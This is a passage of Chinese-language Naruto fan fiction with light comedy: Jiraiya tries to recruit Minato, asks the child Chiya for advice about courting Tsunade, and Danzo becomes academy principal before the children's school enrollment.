“体贴温柔又凉薄自私,既觉孤独又深陷欲望,囿于身份又渴望自由。”掰着手指头的千弥跟上自来也的话,她可以说出一堆这个人身上矛盾立体的地方,“魅力当然有,他的才情、相貌、仪态为人称道,擅长读心共情,但只要有人说点什么,稍微鼓动几句,这个人就飘飘然地立刻彰显出好色本色了。”
“在那样的时代,他也算是个负责任的好男人了。”多年没看过这本书的自来也有点招架不住,说出了一句某种意义上可以算是男性经典的语录,“光源氏只是一个渴望被爱充盈的男人啊。”
“不负责任不就更糟了嘛,那和成人题材的双草纸里不停发展露水情缘的ABC有什么区别。”千弥皱起眉头,反驳自来也的话,“而且,光源氏对那些情人似乎也没有对应的尊重——”
至少她看到的位置还没有。他把情人丢下就跑了,
“欸欸欸!”这孩子好像说出了很不符合年龄的词语!自来也像扑棱棱的海鸥匆匆挥着翅膀发出噪音以制止千弥接下来更惊人的发言。
他想起来了,当初的腰封上好像写了什么物哀来着!
大脑飞速转动,看到出现在拐角的金发少年眼神冷冰冰地看着自己,对上冰蓝色的眼瞳,大脑突然一片空白的自来也莫名地感到无地自容。
但他为什么会生出这种歉疚、羞愧的心理?!又不是他带千弥看这种书的!
他是那么的无辜!
他进了集英堂的门之后,连自己想买的书都还没找呢!
“自来也大人。”波风水门同白发男子问候后,绷着脸看向正背靠挂了一卷男女挂画的书架的千弥,“千弥。”
波风水门的声调降了两个度,千弥感觉冷嗖嗖的,比秋天的风还凉爽,但回应水门的问候是应有之义,所以她招了招手,“水门~”
看着毛楞楞不自知的小孩儿,自来也决定发挥自己作为大人的调和作用。
“那个——”他记得这孩子叫波风水门。
“自来也大人,”波风水门冷硬地打断男人的话,“身为第三代火影大人的弟子,您就是这么教育木叶的未来吗?在摆满了成人题材的书架下?”
好大一口锅从天而降,砸得自来也眼冒金星。这个少年的气势好强,某种意义上比老师的通灵兽猿魔还恐怖啊。
木叶的未来?千弥看着从年龄上看可以说是木叶的支柱的自来也,恍然大悟,声音嫩嫩道,“我原来是木叶的未来。”
“不要再添乱了。”他的罪恶感莫名其妙涌上来了!
把千弥按下去的自来也重新提着千弥起身道,“我们只是进行正常的、健康的文学交流。”
千弥看了看水门,默不作声地把一切交给这位名为自来也的大人,小鸡啄米般点头。
“书。”波风水门伸手。
“给。”自来也乖乖地上交。
“千弥为什么突然对文学感兴趣?”在水门的记忆里,千弥一向偏好各种传记,尤其是忍者浪客的游历与冒险。
“因为纲手说我是没有生活经验的笨蛋。”被摸摸头原谅的千弥讨好地蹭蹭水门,随后垂头丧气道,“再怎么模仿都是拙劣的三流表演,不管怎么变都是古蹊千弥。”
纲手像是突然安了雷达一样,不管她变大变小还是伪装成水户大人的护卫,全都能一拳找出来。
被激起好胜心的千弥想演得更真。
“水户大人最喜欢的应该是原原本本的千弥。”看向千弥头顶还有没消退的包,以为是纲手敲出来的,波风水门眉眼舒展开,温柔地安慰道。
“可是原原本本的千弥比起给予爱,从水户大人那里得到的爱更多。”跟着水门走出集英堂的千弥低下头,嗷一口咬掉一颗水门喂给自己的三色丸子。
“水户大人会感受到千弥的心意的。”水门吃掉剩下的两颗丸子,收好竹签后又掏出水杯放到千弥的手上,“而且,爱这种东西并不是靠交换衡量的吧。”
跟在两人身后的自来也如井中蛙观天上月——怎么出个店门还投喂上了?刚才的氛围可不是这样式儿的!现在的小孩和他们那时候相比也太会了。
要是有波风水门这一招半式,他没准早就追上纲手了。辍在两人身后的自来也不想灭自己的威风,自我安慰道,纲手可不像千弥这么好“攻略”,那虎虎生风的拳头可不是吃素的。
“自来也大人没有去处吗?”被跟了一路的波风水门好脾气地转过身。再这样被一路尾随下去,他连和千弥的悄悄话都说不了。
“你,”自来也看着明月清风般的少年,忽然笑了,“你要不要当我的弟子啊?”
“三三还是西秀?”抱着暖水瓶的千弥眼睛在水门和自来也身上来回地打转。
“吾乃妙木山的蛤ma仙人——”
自来也突然向身体的侧前方大跨一步,
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颈部用力甩了甩头发,抬起左脚、后仰身体,做出狮子之舞的招牌亮相,夸张地说道,“自来也是也——”
“啪啪啪!”两个小孩站在原地鼓掌。
“如果仙人是这幅德行,‘仙人’这个名号迟早有一天会从高高的云端滑落到另一头的。”千弥声音一点也不小地同水门咬耳朵,“似乎比起三三和西秀,这个人更想做水门的卡密様呢,水门做小仙童。”
“是啊,汤屋悬赏的偷窥狂似乎就在眼前。”
通过自来也的亮相动作看出好几家汤屋门口挂着的悬赏对象正是眼前之人,波风水门是不想再和这个变态闹了,他礼貌地鞠躬婉拒,“请容我拒绝。”
“等等?!被自来也大人收为徒弟可是难得的机遇!”被两个孩子接连打击,重心不稳噗通摔在地上的自来也哀凄地伸手挽留。
“我可以传授你妙木山的蛤ma仙术哦!!!”自来也不遗余力地搬出各种有诱惑力的能力,积极往外推销自己。
只可惜,接受销售的对象似乎并不买账——
“我听说学仙术会变成石头呢。”博闻强识的千弥用手指点着脑瓜思考,她向自来也求证,“对吧?”
“失败是会变成那样,但只要有天赋,等到最后学成也可能只发生一点点蛙变。”自来也想到自己,伸出手用大拇指和食指圈了个伸缩自如的圈。
很有天赋的学徒可能只出现象征仙术学成标志的眼影和横瞳,但如果没那么有天赋……圈可就大了。
“水门变成……蛤ma门吗?”
转头看向微笑着的水门,千弥把水杯系在身上的扣子上挂住,被解放的热乎乎双手摸了摸水门瓷白的脸颊,“水门想变身吗?”
变成蛤ma门也不要紧,她不会嫌弃的,但水门看一秒少一秒的模样,她要认真记在心里。
“不想。”微笑。
不用多说,波风水门就知道千弥脑瓜子里都是些什么怪东西。他抬手轻轻地敲了敲,接着又在自己敲的地方温柔地揉了揉,坚定地重复道,“一点也不想。”
“呼~真是太好了。”比起蛤ma门她果然更喜欢水门!千弥松了口气。
“可恶,那两个孩子实在是太冷漠了!”大秋天的,不仅气温冷,自来也大人连人际交往方面都不断遇冷碰壁!
随机找到朔茂和纲手大吐苦水的自来也没注意到身边的白发男人汗流浃背、手足无措的情状,他抱着杯子不停地嘟囔,“真是过分啊。”
自来也幽幽怨怨地重复,“真是——过分!啊——”
“你只是想走捷径吧。”自来也得到的预言在几人之中不是秘密,纲手看透真相,一语便切中要害。
“哈哈。”自来也尴尬地笑笑。
除了一丢丢想走捷径的心思以外,他真的觉得少男少女看起来很有戏!
“不可能,”纲手把手搭在似乎随时能从椅子上弹起来,拔腿逃跑的朔茂肩上,“古蹊千弥未来和朔茂这小子才是一对。”
被纲手扣住肩膀的旗木朔茂动弹不得,只好在原地干冒烟。
他以为这只是普通的聚会,聊一聊任务,聊一聊村子,但谁来告诉他为什么千弥浓度会这么高?!
“啊?”自来也眼神空洞,随后笑着摆了摆手,“纲手你的版本太落后了,谣言已经澄清了哦。”
“不,你才是版本落后。”用了不少力气才压下旗木朔茂的纲手扭头看着身边的人,金发少女俏皮地眨眨眼,说着只有极少数人才知道的“暗号”,“是吧?小稻草人。”
旗木朔茂:“……”
“喂喂,朔茂,快点反驳两句啊。”自来也坐到旗木朔茂另一边,摇着旗木朔茂的肩膀。
旗木朔茂有一种自己在竭力减少同千弥不必要的接触的同时,冥冥之中所有人都在推着自己向千弥的方向靠近的感觉。他的同伴怎么都是这幅德行?
行行好吧,请放过他。
32.秋风萧瑟
情敌的踪迹实在飘忽不定,瞪红了眼的自来也把自己熬成猫头鹰也没能找到村民口中那位狂热地追求纲手的贵族公子。与此同时,从街坊四邻打听到的情敌数量倒是不减反增,动静也愈发地轰轰烈烈。
什么水户大人在为纲手姬择夫啊,火之国国都的大人物家的公子对纲手姬一见倾心啊,有人往木叶医院送花啊……
走投无路的追求者再次将目光投到了古蹊千弥身上,这位经常出入水户大人家的同时又与纲手来往密切的孩子。如果是她,一定知道很多不为外人知悉的内幕!
“水门不让我和你玩。”仅仅是打照面的一句话,新鲜的石像就此诞生。
“哥哥不是坏人。”抖了抖头发上的露水,自来也抹了把脸,声音艰涩。
那位一脸和气的金发碧眼小少年竟然背地里教千弥防备自己……他,妙木山的新仙人,自来也大人做人竟然这么失败吗?!
自来也捧着受伤破碎的心黯然神伤。有保护同伴的意识很好,就是方式嘛……有些太伤人了。而且,眼前这孩子说话是不是太直白了?!
“那你有什么事吗?”收回鱼竿的千弥提着桶在离自来也几步远的位置停住。
这个人身上的焦虑与忧愁不像作假,她不介意听听大人的烦心事。
“当然!”
……
“想要追求小侄女,直接表白不就好了吗?”在甘栗甘的门口坐下来,收下自来也上贡的焦糖布丁,千弥不理解地问道。
喜欢纲手浪费时间打探情敌做什么?又不是森林里的雄鹿,要先靠鹿角决出个胜负才能获得择偶权。
现在的大人怎么这么笨?纲手说自己是笨蛋完全没道理啊。
“啊、这个,哈哈,你还小,要知道情报对忍者来说可是很重要的!可能直接关乎到任务的成败!”
发表了一通义正言辞的讲话,不想把自己从少年时代起便被纲手花式拒绝的惨淡经历轻易地交付出去,自来也心虚地搓了搓手掌。他极力装出轻描淡写的模样反问,“而且,要是被拒绝了怎么办?”
“那就不追求了。”千弥一叉子下去戳裂了布丁表面那层薄薄的糖壳。
“那怎么能行!”自来也从板凳上跳起来。
“你这样不是已经知道要怎么做了吗?既然如此,顾虑那么多做什么。”嚼嚼嚼,千弥放下叉子与自来也对视,“还是说你有其他秘密没有坦白?不管发生什么,我可是支持小侄女这边的。”
千弥双手抱胸,端起了不存在的长辈的范儿。如果脸颊没有因为嚼东西不停地鼓动,这股范儿还能端得更足。
自来也看着眼前一口一个“小侄女”的小丫头片子无语,不等他说些什么,某种程度上也算是天克自己的小金毛又神出鬼没地出现了。
“千弥。”波风水门掀起门帘,神色自然地在自来也对面坐下,“自来也大人私下找千弥是有什么要事(重音)吗?”
“那个、”要事没有,私事倒是满满的,进展不利的自来也在心里咚咚地敲起了退堂鼓。
波风水门可不是能随便糊弄过去的普通小孩。
“向专家咨询追求小侄女的秘诀。”千弥拍拍胸脯,挺直了腰杆,狡黠地回复道。
“向千弥?”波风水门看着眼睛里透着得意劲儿的笨蛋千弥,忽地露出微笑,“现在的大人已经沦落到要向学龄前的孩子请教恋爱攻略了吗?”
自来也似乎在水门眼中看到了“无能”两个字。
“警务队的巡街成员会在15分钟后经过这片区域,想必他们想抓住偷窥狂很久了。”波风水门一脸纯良地眨着水蓝蓝的眼睛,“请您在这段时间,给我一个能够充分证明您在同千弥交流过程中保持襟怀坦白、同时没有任何逾矩言行的解释吧。三代目火影大人的爱徒,自来也大人。”
自来也觉得真不是自己的错觉,这小子面对古蹊千弥如阳春三月的暖风熏得人醉醺醺的提不起一丝警惕,但看自己时那种隐隐约约透着鄙夷的眼神仿佛是看什么有害垃圾,还不可燃。
比起“爱徒”这种夹枪带棒、火气满满的形容,波风水门真正想用的词汇是“污点”也说不准。
这孩子有点“可怕”啊,不交代清楚的话今天能善了吗?迎接他的会是水户大人的封印术,还是纲手的怪力拳,亦或是日斩老师的金刚如意棒?他的肋骨还能长好吗?
失策了,他也许应该找那两个红发漩涡去打听情报,千弥身边这位随时闪现登场的貌似纯良温和的阳光小金毛是魔王!
“小侄女身边有追求者吗?”没察觉到自来也深陷水火之中,千弥疑惑地问水门。
注意到自来也眼睛里闪烁的光芒,水门回答,“有呢。”
感觉有根胡萝卜吊在身前的自来也不断用眼神催促,快说,快说。
“国都来的富商之子。”
本身就同“富”这个词就有些距离,在“国都”这个自身就象征着富贵的限定词的映衬下可以说是穷困潦倒的自来也:……
好像有什么很沉重的东西落在身上了。
“擅长和歌与雅乐的乐师。”
被纲手、大蛇丸、日斩老师亲口认证“歌丑”、“浮夸”的自来也:……
“脸上有一道十字形疤痕的长发武士。”
说到这里,不再关注自来也酸涩的表情,千弥率先反应过来了。她一脸惊讶,“这不是我照着书变成的模样吗?”
像咸鱼一样眼里失去了光芒的自来也激动地眼球向外凸起——合着害他夜不能寐的情敌就在身边,还是个女孩儿!
“现在轮到自来也大人解释了。”
波风水门左一句三代,右一句警务队,最终在火之意志的胁迫下,自来也被迫化作被小刀剌出豁口的布袋啦啦地往外倒豆子,把他和千弥的对话一字一句的复述出来,再加上波风水门时不时地提问,他连心路历程都快被挖干净了。
这孩子长大以后去审讯班会有大出息的。不,准确来说,以波风水门的天资禀赋,以后不管去哪里都会有大出息的。
幸好小金毛不是他的弟子,这种行径说是欺师灭祖也不为过!自来也期待着波风水门从忍者学校毕业的那天,他很好奇哪个倒霉老师会摊上这么个腹黑弟子。
失去隐私后活活像是失去了清白,自来也趴在桌面上无声地落下配了两个荷包蛋的宽宽的面条泪。英俊潇洒、玉树临风的自来也在两个孩子面前威严扫地,形象尽失。
“既然想要认真追求纲手大人就不应该有那么多轻浮之举。”
被闲来无事的纲手教导着要做一个好男人,故而对这位活生生的反面教材、纲手大人口中出现频率极高的自来也的了解远比千弥深刻的波风水门可没有千弥那么多的“善心”。
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他看着自来也,那双秋日长空般的眼睛仿佛洞穿了一切,带着超出他这个年纪的成熟,“自来也大人应该也知道狼来了的故事。”
被小孩子纯朴的爱情观震撼,自来也失语。
在离村前再试着向纲手表白吧。
“真是的,不是和千弥说了要离这个不良大叔远一些吗?”把已经丧失了意志的自来也丢在身后,波风水门捏住千弥的脸颊,仔细地盯着千弥的眼睛,一字一顿,语气严肃,“完全没有把我的话听进心里。”
“因为自来也大叔实在不像坏人,还是小侄女的同队伙伴。”顺着水门的叫法灵活自如地改变了对自来也的称呼,千弥站在原地由着水门捏住自己。她岔开话题,好奇地问道,“水门怎么找到我的,好快。”
“那个呀,”波风水门松开手取走千弥手中的鱼竿,回答道,“小万回来了。”
“已经好久没见了。”千弥提着桶露出灿烂的笑容,“我还以为小万回大海做散播和平的使者去了。”
听到这里,波风水门唇角轻扬,笑着说了一句“小万才舍不得。”
“薯条、薯条——”从天而降的海鸥精准地落在千弥肩膀,并着腿蹦蹦跳跳,“小千——小千!去码头整点薯条——”
“又长大了呢。”注意到小万翅膀末端的黑色羽毛变长不少,千弥用手指顶了顶海鸥的小帽子,“欢迎回家哦,小万。”
“小千!小千!”在千弥的发旋上啄了啄的小万回应千弥的呼唤,又跳到水门的头顶窝趴下来,“水门!水门!”
“说起来,水门的头发像丰收时节田野里金黄的稻草一样蓬蓬的呢。”千弥摸了摸水门被小万压实的发稍。
波风水门的头发蓬松得像狮子的鬓毛,但又如棉花糖一样柔软,全部打湿后更像沐浴的汪酱一样湿漉漉地缩小了一大圈。
“如果有稻香味的洗发水,水门会很受鸟儿欢迎的。”
头发被小万当做临时窝巢的波风水门无奈地笑笑,“用那种香型的洗发水,我会很苦恼的。有小万一个做窝的鸟儿就够了。”
“水门、水门!”欢快的锯木头嘎吱声从头顶响起,海鸥的翅膀不断扑扇,震得水门不得不放慢了步伐摇晃着找准平衡。
……
自来也终于背着行囊离开了村子,按照大蛤ma仙人所预言的踏上了独属于他的修行之旅,在一个寒风瑟瑟、花叶枯零的秋日。
……
“这就放弃了吗?”旗木朔茂看着只送了一次花便再无动静的好友,“可一点也不像平时的你啊。”
加藤断是一个意志坚定、勇往直前的男人。
鼓起勇气找纲手告白,结果意外打听到有强劲对手不说,连送的花也被纲手扔出来的断:“……”
加藤断听着旗木朔茂的鼓励苦笑着垂下头。
在富可敌国的情敌、风雅潇洒的情敌面前,成功追求纲手姬的难度不亚于竞争火影。
思虑再三,断选择专心精进自己各方面的能力,如今乏善可陈的他怎么能厚颜接近已经皎皎生辉的明月姬呢?
真相——
“花?我来帮你送过去吧!”
“桌子上的花吗?我看到是一个留着一簇小辫子、大概这么高的小孩子抱进来的。”
“不学好的轻浮小鬼!”
上学!必须立刻送去上学!
33.您的校长已就位
猿飞日斩越发地不像话了,当上火影才堪堪两年,竟然连二代目火影设立的制度都敢取缔废弃。
先是取消了下忍向特别中忍的进升通道,仅保留了特别上忍的任命制度,再是明晃晃地向宇智波一族低头示好,又针对木叶隐村内的村民和商户大搞无用的治理规范,最重要的是几乎所有能向木叶隐村输入忍者的渠道都被日斩牢牢地把控着……
志村团藏站在高处,愤愤地看着底下一茬接一茬的“木叶青苗”,这些人未来也都将成为三代火影最忠实的簇拥。
再这样下去,一意孤行的猿飞日斩迟早会将二代目火影的遗泽挥霍殆尽。
他要阻止他,他必须阻止他。
“木叶忍者学校的校长?”
好不容易在家休息半天的猿飞日斩看到这位除了高层决策的会议上几乎不见人影的老朋友,心里满是感动——他的同期、朋友、战友终于提出了些他能答应的要求。
什么要成为深植于土壤的根,建立独立于火影的组织、监视宇智波等忍族、处理脏活……那些与木叶明面上“团结”、“和乐”、“融容”的阳光基调背道而驰的黑暗,他可是在扉间老师和辻大人面前郑重承诺会独自处理的。
“你能主动请缨真是太好了!我也正准备对忍者学校进行一次扩建和改革,你觉得再设立一个专门的女忍班怎么样?”
猿飞日斩热络地招呼着团藏,邀请对方坐下详谈。他在木叶忍者们的教育这一方面有太多的想法想要实施、落实,奈何村子的事务实在是太多了,各方面都需要匀出大量的精力。尤其是治理村民的传谣能力,真真是反反复复的攻坚持久战。
被明令禁止“传播浮言”的木叶村民们自发创办了秘密流传于地下的木叶小报——最新谣言,“忍犬契约使不婚真相,长发男密友贴身相随”。
某日,加藤直接将秘密流传的八卦报纸放到了自己桌前,于是,纠结着是否对这种连名姓都没有但又具备一定辨识度的报纸一并销禁的猿飞日斩就这么猝不及防地知道了那位长发密友的身份。
上有对策,下有应策,真的好难搞啊,木叶的村民。欲流之远,必浚其源,平民教育也要轰轰烈烈地办。
团藏这时候能愿意帮助他真的是太太太好了!
猿飞打算在学校也横插一脚。而且什么女忍班?忍者没有性别。
猿飞日斩像点燃的千响鞭炮一样噼里啪啦地滔滔不绝,十分钟过去,志村团藏的脸已经黑了,但他近年来的脸色一向如此,尤其是当着三代火影的面,如今的猿飞日斩已经能够熟视无睹了。
猿飞日斩当然重视团藏这位自小便并肩作战、情谊深厚的同伴,他曾委婉地关心朋友的身体、巧妙地为团藏安排各种身体检查,知道团藏除了脸色阴沉以外身体确实没有别的异状后,猿飞日斩也只好安慰自己色素沉淀可能与忍者的个人体质有关,也许也和年龄有一关系。
“你还记得当年我们上学时,初代大人和二代大人向我们讲述的‘火之意志’吗?”
做了第三代火影之后,随着政事上的成熟,猿飞日斩的胸襟和眼界变得更加开阔了。身处高位的猿飞日斩谨遵前人的教诲,村子变成了他的孩子,而那位曾在初代目火影和二代目火影护佑下调皮成长的“猿”则长成了慈爱的父亲,关怀着、注视着木叶的下一代。
火之意志的继承者是他,也只有他,猿飞日斩的道路已经偏离了前人的方向。志村团藏不语,沉默地低下头看着手中冒着腾腾白雾的热茶。
没有独立的行动部队也无所谓,他会通过向木叶的新生忍者灌输自己的意志,让真正的火之意志在下一代心中重燃,让忍者回归忍者,不再沉溺于猿飞那软弱的过家家游戏。
兀自陷入回忆中的猿飞日斩眼含热泪,他向志村团藏伸出手,“木叶飞舞之处,火亦生生不息。团藏,让我们联手一起打破族群之间的隔阂、创造一个所有村民都能和平共处的村子吧。”
没事的,没事的,被同伴面露嫌弃地拒绝的猿飞日斩一点也不见尴尬地收回手,他熟练地安慰自己,团藏就是这样有些别扭的性格。
还在犹豫要不要握手,结果裹着绷带的手指刚动就见猿飞就缩回了手臂,志村团藏的脸色更黑了。
但好在,他此行的目的达到了。
……
“千弥——起床了!”别说收拾自己的被子了,他连饭都已经做好了。已经敲了两次门的波风水门这次直接推开了古蹊千弥的房间,“今天可是要参加入学仪式啊。”
衣服都换好了,竟然还躺在床上……
难得遇见令他“苦恼”、“棘手”的事,波风水门叉着腰叹气,“真的会迟到的。”
平时可是五点钟就能悄悄起床去慰灵碑祭拜的,怎么偏偏今天
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赖床了?
“水门……”千弥无力地握住水门的手,气若游丝道,“我得了不想上学的病。”
“世界上可没有这种病。”收回手的少年把手抽回来,顾不上收回被气笑的表情,抓着千弥起床,“去吃饭啦,我们还要去听火影大人讲话呢!”
“‘木の叶が舞うところがあれば、火が燃え、火の影が村を照らし、新たな叶が芽吹く’,喏,火影大人的讲话,我还提帮你炼出了精华。”
波风水门:“……”
“不要耍赖。”吃着米饭比以往硬上一些饭团,波风水门连语气也干巴巴的,他看着千弥真的比平时更苍白的脸色,担忧道,“真的生病了吗?”
“没错、没错!”一秒精神起来,将饭团整个塞进嘴里的千弥双手撑着下巴,眼睛眨成闪烁的小星星。
白担心了。
超有精神的。
波风水门突然福至心灵,“你该不会怕上学吧?”
“呜呜~”两颊鼓鼓的千弥丧丧地趴在桌上,“纲手昨天还说老师会把我的屁股打开花。”
“噗嗤——”
真的因为这么幼稚的原因,还有千弥竟然相信了纲手大人那么幼稚的威胁,为此还想出了幼稚的病情。
“竟然在笑我!”扑到桌子上的千弥把水门盘子里的饭团抢走,恶狠狠地亮出牙齿,“全是我的了。”
“那些给你好了。”波风水门抽过千弥的盘子,拿起一颗新的饭团放进嘴里。
“我决定上课不和水门坐在一起了!”千弥绞尽脑汁找到了最没威胁力的威胁。
“这可不行。”波风水门正色,“不要生气,晚上我给你做干煎河鱼。”
“既然这样,那就勉强原谅你了。”千弥就着水把米饭咽下去。
新的锅煮出来的米饭好硬。
“只是勉强吗?”波风水门一脸失望。
“不要得寸进尺。”古蹊千弥一脸警惕。
“千弥晚上想吃油炸天妇罗虾吗?”波风水门点着下巴,“汉堡肉呢?”
“我最喜欢水门了!”一声欢呼像礼花一样在水门耳畔清脆地乍响。
“希望你在玖辛奈和爪她们面前也能这么说。”
“我最最最喜欢玖辛奈和爪了。”
“好狡猾。”水门轻叹。
“是机智。”千弥一脸的得意。
34.树叶飞舞之处
“千弥。”
波风水门穿好外套,平静地伸手拦住门,蓝色的瞳孔里倒映着小小的身体蕴含无限力量的古蹊千弥,“不可以带汪酱上学。”
“可是爪和我说她可以带黑丸上学。”千弥挣扎。
“因为爪姓犬冢,黑丸是陪她战斗的同伴。”
硬邦邦的米粒似乎有部分卡在了食道,波风水门感觉呼吸不畅。顶着压力抬起脖子,原来是一只汪酱爬到了他的头顶。
“而且,就算是爪也不会带着八只犬上学,还有一只比你还高的大型长毛犬。”
高高地举起手,精准抓住头顶那只汪酱的后颈皮,波风水门无视对方殷勤地伸出来的粉色肉垫,把狗子放在了地上。萌混失败的汪酱见千弥身上已经无处可爬,不甘地咬住千弥的裤腿。
“真的不可以吗?”
竟然露出了可怜兮兮的表情。
波风水门抿了抿唇,看着头顶趴了一只小白狗、两只肩膀分别挂着一只黑白双拼色和橘白双拼色的小狗、怀里抱着两只、背上还挂着一只的千弥,他守住底线,决绝地回答,“不行。”
“真的、真的不可以吗?”
“汪呜~”
“嘤呜~”
“呜呜~”
波风水门冷酷地走上前,伸手把扒在千弥身上的汪酱们扯下来,“说了不行就是不行。”
看到汪汪队像开会一样将头凑在一起,呜汪呜汪地进行沟通,知道它们有多聪明的波风水门将所有退路封死,“公平起见,汪酱们都不准去。”
万一让它们私下协商好、排了班,让千弥答应带每天一只去上学,既不姓“犬冢”又没有和汪酱的组合技,还有极大可能在课堂上飘着小花、沉浸在毛茸茸中的千弥绝对会变成老师们眼中的“刺头”。
“虽然很想带你们一起去学校报到,但一家之主说不行,那就没办法了。”
拜倒在水门的威严之下,千弥也跟着汪酱们丧丧地垂头,挨个摸了摸失望到嘤嘤地垂着耳朵和尾巴的汪酱们,又往最大的汪酱宽阔的茸毛里埋了埋,“不过,放学的时候可以带大家外出散步。”
千弥回过头,眨着水汪汪的眼睛,一脸希冀,“对吧?”
沉浸在被千弥称为“一家之主”的震撼中,波风水门下意识地点了点头。
“散步?等等!”点完头忽然反应过来似乎有哪里不对的波风水门睁大眼睛。
散步的话从哪儿开始散?难道是学校门口吗?!被不同的汪酱接放学,似乎听上去也没比带不同的汪酱上学好多少。
得到许可的千弥和汪酱们击掌,欢呼的浪潮吞没了水门微弱的声音。
“呦呼~”
“汪汪~”
算了,让千弥和汪酱们开心一下吧。规则晚一些制定也不迟。
“那我们出门了。”牵起千弥的手,波风水门转身同门内的汪酱们道别。
至于最有可能闹着要和千弥一起上学的小万,那只不太聪明、总是引着千弥“搞破坏”的“邪恶”海鸥昨天就被他支开了。
刚到古蹊家的波风水门第一次见到有汪酱上门时,心里有很多疑惑。但千弥、辻先生、甚至连海未夫人也是,他们似乎从未对汪酱们时不时的到访感到意外,理所应当地在家里备足了各种犬类用品和玩具。
看着和千弥玩得很好的汪酱们,发觉登门犬比自己这个新成员资历更老,成熟沉稳但终究对陌生的环境还怀揣一丝不安的小少年悄悄将这些疑惑埋进了心底。
他怕自己问出来会显得有些与这个家……格格不入,再后来,他也习惯了隔三差五总是有不同的汪酱登门或是千弥往家里捡狗子的行为。
“千弥。”事实上,波风水门对那群古蹊家的编外汪们好奇很久了,“汪酱们有主人吗?”
汪酱们从哪里来?汪酱只是村子里普通的犬,还是像小万那样的通灵兽,或是犬冢一族的忍犬?有主人的话,还时不时地往外跑,它们的主人不会介意吗?
波风水门还是头一次看到汪汪队集合,在家里待了足足一晚。
千弥把没被牵住的手插进衣兜,从容地点点头,“当然有了!不过如果会在意汪酱们往外跑的话,应该从好久之前就找上门了。”
她依稀记得在自己很小的时候就一直被汪汪声环绕。
“而且,有时候汪酱还是被洗干净之后香香地上门的。”
千弥似乎陷入了什么有趣的回忆,笑出声,来回摇了摇与水门牵着的手,“那位从不现身的主人是很好的人呢,水门。那时候你还没来,有一天汪酱们突然咬着好多礼物上门。欧多桑一边把汪酱身上缠着的系带解开,一边还说‘送礼物多客气,不如直接送钱’,结果被偶噶桑用石臼敲打了。”
“然后下一次,汪酱就真的咬着钱登门了。”
“那辻先生呢?”波风水门眉眼弯弯,似乎已经预料到了结局。
“当然是又被敲打了,不过这次用的是盆。”
“千弥!”和父母一起进行入学报道的爪冲着两个小小的人影用力地挥手大喊,“水门!”
“爪!黑丸!”当众回喊回去的千弥拉着水门跑上前。
“汪!”趴在爪头顶的黑丸和千弥击掌。
“啊!我竟然不是第一个!”从人群中挤出来的玖辛奈身后跟着水户和香奈,“以后要一起上学了嘚吧内!”
“千弥酱,水门君。”香奈有些害羞地向两人问好。
她的年龄比三人年长几岁,但为了几个孩子在学校能相互照应,水户在征询香奈的意见后推迟了为香奈报名上学。和玖辛奈不一样,作为某位早早离开涡之国外嫁他乡的漩涡后裔,突然陷入险境、遭受各村忍者追捕的香奈是被海鸥卫队找到并护送到木叶的。
“香奈酱!”松开手的千弥蹭了蹭香奈,接着又被玖辛奈扑倒。
“最后一个,也是一。”把不甘写在脸上的玖辛奈上手揉搓千弥的脸颊。
“水户大人。”
“啊呀,倒数第二个呢。”波风水门微笑。
“还有我!”开学比新生晚上一天的绳树蹿到千弥身边,“姐姐似乎兴冲冲地去上了什么培训,所以没来。”
“绳树。”千弥拍拍身上的灰,疑惑地看着即将升四年级的人,“你们不是明天才开学吗?”
“作为你永远的对手,这种重要的时刻,我怎么可能不来见证呀!”绳树竖起大拇指,摆出一个帅气的造型。
“倒数第三个了呢。”波风水门看着变成番茄色的玖辛奈补刀。
“千弥——”
是鹿久、亥一和丁座,他们也将升四年级,但和绳树不在一个班。
“真是的,丁座差点陷在早餐队伍。”鹿久插着兜吐槽小伙伴面对大排长龙的早点队伍毅然离队的行为,“都说了他们一定会吃完饭再来。”
“因为千弥说过的超好吃的包子今天出摊了。”丁座把热腾腾的包子分给千弥和水门。
“竟然是这个原因吗?”帮忙排了限购包子的亥一惊讶地看着丁座。
“小心烫,不过超好吃的吧?!”
“没错!”吸着汤汁的丁座竖起大拇指。
“没和我们打招呼呢。”站在角落里的油女志黑和油女志微,两个存在感稀薄的人看着被众星环绕的太阳,“千弥看到我们了吗?”
“既然想祝贺千弥和水门入学,你们倒是主动一点啊。”被突然出现的幽幽的声音吓得发毛的宇智波美琴差点冲着角落吐火,比猪鹿蝶们大两岁,但入学稍晚的宇智波美琴今年同样将升为四年级学生,“我先过去了。”
“……”来都来了的两名油女。
“上学似乎比我想象中好玩。”随着人流前进的千弥和水门不知不觉间同香奈、玖辛奈、爪他们分开了。
“千弥,上学不是玩的。”握紧了千弥的手,波风水门笑得无奈。
新生和家长在老师的引导下分流,千弥在新生之中看着位于高处的三代火影,站在他两侧的是经常随行的参谋,以及,木叶忍者学校的新校长——“志村团藏。”
发现三代目火影介绍的新校长是“熟人”的千弥扭过身体和水门咬耳朵,“现在退学还来得及吗?”
心情刚放松没两秒的波风水门:“……”
他说:“好好听火影大人讲话。”
“唔——”千弥委屈地缩回头。
三代火影还没讲话呢,他只是在介绍新校长。
今年的新生入学教育和往常不太一样,这还要归功于三代目火影大人——为了向老朋友表示尊重,他特地在“火影讲话”前增设了名为“校长讲话”的环节。
“在你们正式入学前,我要告诉你们一个道理——‘适者生存、弱肉强食’,这就是忍者世界所奉行的铁则。”有些沙哑的声音从空气中传入新生们的耳朵,有一部分学生因为团藏讲话的气势和内容彰涨红了脸,表露出崇拜与认同,也有一部分学生因为太过残酷的表述露出怯意。
“没有这种觉悟的人......”
“忍者要以任务为重......”
“我听明白了。”千弥又不老实地扭过身体,“真正的忍者原来
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是一群丧良心、没人性的家伙。”
“这句话的攻击范围太大了。”波风水门汗颜,赶忙捂住千弥的嘴巴,低声道,“而且辻先生和海未夫人也是忍者。”
“为了村子,你们所有人都要有抱有随时死亡的觉悟。”台上的人还在讲话。
站在志村团藏身后的猿飞日斩有些躁动,团藏向孩子们展示的属于忍者世界的血淋淋的一面诚然真实,但太早了,还充斥着战国遗风。
“这里太粗糙了。”千弥呜呜地挣扎,掰开水门捂得不太严实的手指,“用‘舍身’更有人文关怀,也符合我们木叶风格。”
“不要讲话,千弥。”在头上一敲,波风水门满意地看到千弥瞬间乖乖地偃旗息鼓,他又安慰道,“那些话,等我们回家后再和我说吧。”
“水门,”千弥捏了捏波风水门的手指,“玖辛奈说这叫‘甜枣+大棒’教育,我是你的孩子吗?”
波风水门:“......”
强颜欢笑。
团藏下去之后,终于到了千弥倒背如流的环节——
“树叶飞舞之处,火亦......”
捏。
